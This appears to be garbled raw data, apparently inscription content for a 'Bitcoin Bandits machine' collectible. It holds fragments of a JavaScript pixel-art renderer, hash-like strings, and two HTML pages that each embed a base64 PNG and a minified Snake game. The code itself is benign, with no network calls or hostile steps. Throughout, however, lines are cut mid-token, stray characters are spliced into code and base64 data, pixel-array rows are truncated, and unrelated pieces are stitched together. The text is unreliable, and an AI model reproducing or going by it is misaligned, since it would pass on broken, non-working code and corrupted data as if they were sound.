else if (hash > 0.11) cl[0]='#c1edcc', cl[1]='#b0c0bc', cl[2]='#a7a7a9', cl[3]='#797270', cl[4]='#453f3c', cl[5]='#000000'
else if (hash > 0.05) cl[0]='#780116', cl[1]='#f7b538', cl[2]='#db7c26', cl[3]='#d8572a', cl[4]='#c32f27', cl[5]='#000000'
else cl[0]='#072ac8', cl[1]='#1e96fc', cl[2]='#a2d6f9', cl[3]='#fcf300', cl[4]='#ffc600', cl[5]='#000000'
if (eyes > 0.85) var colors = {
    6: cl[bodyHash],
  else if (eyes > 0.70) var colors = {
      5: cl[bodyHash],
eyes > 0.35) var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
 else {var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0M
[0,0,0,0,0,0,0,0,4,7,1,1,7,1,1,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,7,2,8,7,2,8,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,10,3,10,3,10,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,3,10,3,10,3,7,7,0,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,7,7,7,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,5,5,5,5,5,5,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,0,7,0,7,7,5,7,7,7,7,5,7,0,7,0,0,0,0,0,0],
7,7,5,5,5,5,5,7,7,0,4,4,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,5,7,7,7,7,5,7,0,7,7,0,0,0,0,0],
[0,0,0,0,7,7,7,0,7,5,5,5,5,5,5,7,7,0,7,7,7,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,7,0,7,0,7,7,7,7,7,7,7,7,7,0,7,0,7,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0]M
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,7,7,7,7,0,7,7,7,7,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,4,4,4,0,4,4,4,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
  for (var j = 0; j <= 24; j++) {
    for (var i = 0; i <= 24; i++) {
      if( pixelArt[j][i] > 0 ){
        ctx.fillStyle = colors[pixelArt[j][i]];
        ctx.fillRect(posX, posY, w1, h1);
      ctx.fillStyle = bgCl;
      ctx.fillRect(posX, posY,M
      posX = posX + w1;
    posY = posY + h1;
              draw();
            </script>
                margin: 0;
                display: flex;
                justify-content: center;
                align-items: center;
6j4ion:3.QmQTqWY1751E1i6qrqvUHESs9fKmqZjUivPn6uoYEYJD2N
FjDOUT:C0195DBBE4EC5D6D2FE8BA93BF391585B64BE9EC65D9A93FB0A6ABC6A9B4A251
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAVgklEQVR4nO3df9BcVXkA4BNjKkWLBgipAiYhGkm1qZICKSk0idKAI6FiO3SsMAg44qRVplOm2tJRx1rRjK3UYYqjaRixTp06YxEq2EqSEcGoDVKsZQyEJAbEQGiQiqhpmv6R7N3z5bv327377Y93d5/nH89399xzz27knXffPffcGctXrzmYAAjnOYOeAADlBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKCeO+gJENfdX/7ioKdAlyxfvWbQM
U6ADMmiAoARogKCUOKgsZbz7Y58q2tddfWXRfvknX9bzOdEdD77toUFPgWmQQQMEJUADBKXEMWbKyhl5KaMdJ59y8pSvb7n/60V72ZLf6FrfvH+dvt2exzDN+cGkxDHMZNAAQQnQAEEpcYyodlZmNGy6/dbSvivPv2DKazxyzbNFe96pryray9PCZqdvTTnEhL4Hlmxve+x2+p64cvekPvnrVfPI53zgiu2T+p5086uL9sxTF056vXLsinHz+S8/9S2l8yiTvz9GkwwaICgZ9Aio88NfVbY87nau3Fy08x9BZ67PMvySbLpK3nf3w7snjVtHVbY9P61o9jml/bkxPGTQAEEJ0ABBKXEMkW788NcNja/sM9Lxpa/n5YJaHm42q8ZuyEsP807t7HK5+ZtWNP/Y1GxOeC8Ptze3lCbOb/7hHwl3ps2lfTt9r2VzY7TIoAGCEqABglLiCKhOKSOleuWMfU/smXRs9py5bZ+fUnM1wiPp2dLXH/3xI0W749uV1zWbB9L2M
Sf3zvlXroPN5nNSijHD36Z8pncf89Sua8zi8mqLqfefylRfFnE8p/yxajdfWKo6KFSZu9R5uMmiAoARogKCUOAasrJzxoR0fKto/umVO0Z5uKaNfTnzBST3p28ux686jjl6OzWiTQQMEJUADBKXE0SdVKzNe+YVXTjr2xE+eaJ53+5aWYw+ynFGm6qaP0r75bnantN6hruifjdvLG1Xq7L+RK7tRpRvjMl5k0ABByaC7rCpTvmjLG0uPf+c735l8cFH52FEy5cat3ukdzWNVtzHXkt+u3OWxD75jb2djld1C3Y251Xmv7fR1q/dIkkEDBCVAAwSlxDENZeWMsh/9UkrpqWee6ugavSxr1L3Fu8FTvYdnzm71Hm4yaICgBGiAoGYsX73m4KAnEV07u8u98MJDa5f//ivrS/tWlQWKFRGZC85aU7Rvu+SetudZpU4po+pJ3tddfeW058HgLF+9pnUnwpFBAwQlQAMEZRXHEcrKGe1slL/83IWlffqp7qqMsnJGVSljM
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
GiAoARogKCUOxsKs33xtSiml/V+7c8rXp+pTp5QSzafv/3bRvnTJawY4E+qQQQMEJYNm6B1o40e7qqy43dfbvU673rzktKL92fvvLdo3LlnUtWsw/GTQAEEJ0ABBKXEwVFasWJFSSunaitffW3G8G661cx19JoMGCEqABghKiYOhkj83ro58nXMrVSs6GtdevHhxceyuu+7qaD7QDhk0QFACNEBQShwMpa1bt7bs087t23XOa+ea0E0yaICgBGiAoJQ4GFl1yhrdOC+ixi52drAbTjJogKBk0IyUyy+/vGgvXbq0aO/du3fK8/L11f3+MXDCznaf+ceiva6vsyAiGTRAUAI0QFBKHAylvHwxTGNDHTJogKAEaICglDgYKq1WY0QbF6ZDBg0QlAANEJQSB0Nl165dg57CBPPmzRv0FBhhMmiAoARogKCUOKCmHTt2lLZXrFgxgNlM1tjBLiW72A07GTRAUDJohlKeuS5YsKCv186v1+0fCW98y+8X7e2Hd7a7tKtXM
YJjIoAGCEqABglLiYCj1u6wBgyCDBghKgAYISokDRoC1z6NJBg0QlAANEJQSB9TUr1u9Fz62O6WU0vbsmPLFeJFBAwQlQAMEpcQBNfVyL45xdcXFv1O0H3jggZ5fb+vWrdlfx/X8ep2SQQMEJUADBKXEwVAZlpLC4sWLuzZWvnIjvyGlqg+jQwYNEJQMmr6ZPWdu0V502rKUUkobN24c1HR6asOGDUW78V67YRgz5UUvaf4Id/bZZxft/MfA9Z/7535OKaVZL5jy5fxHy77PLSODBghKgAYISomDgWiUO7r59T+qvLRD0z33f2/QU0gppbTtB08OegqVZNAAQQnQAEEpcTBQvv6Pl37cxt0NUeYpgwYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYIyob9FaJsJB9lHkD/yaABghKgAYISoAGCEqABgvIjIdBTGzZsKD2+fPWaPs9kahHnKYMGCEqAM
BghqxvLVaw4OehKDcPeXvzjoKcCUopUAOlX131q09xdxnjJogKAEaICgxrbEARCdDBogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiCo/wdLfA3z+sgRsgAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:M
4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(appleM
.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.whiL
ch&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
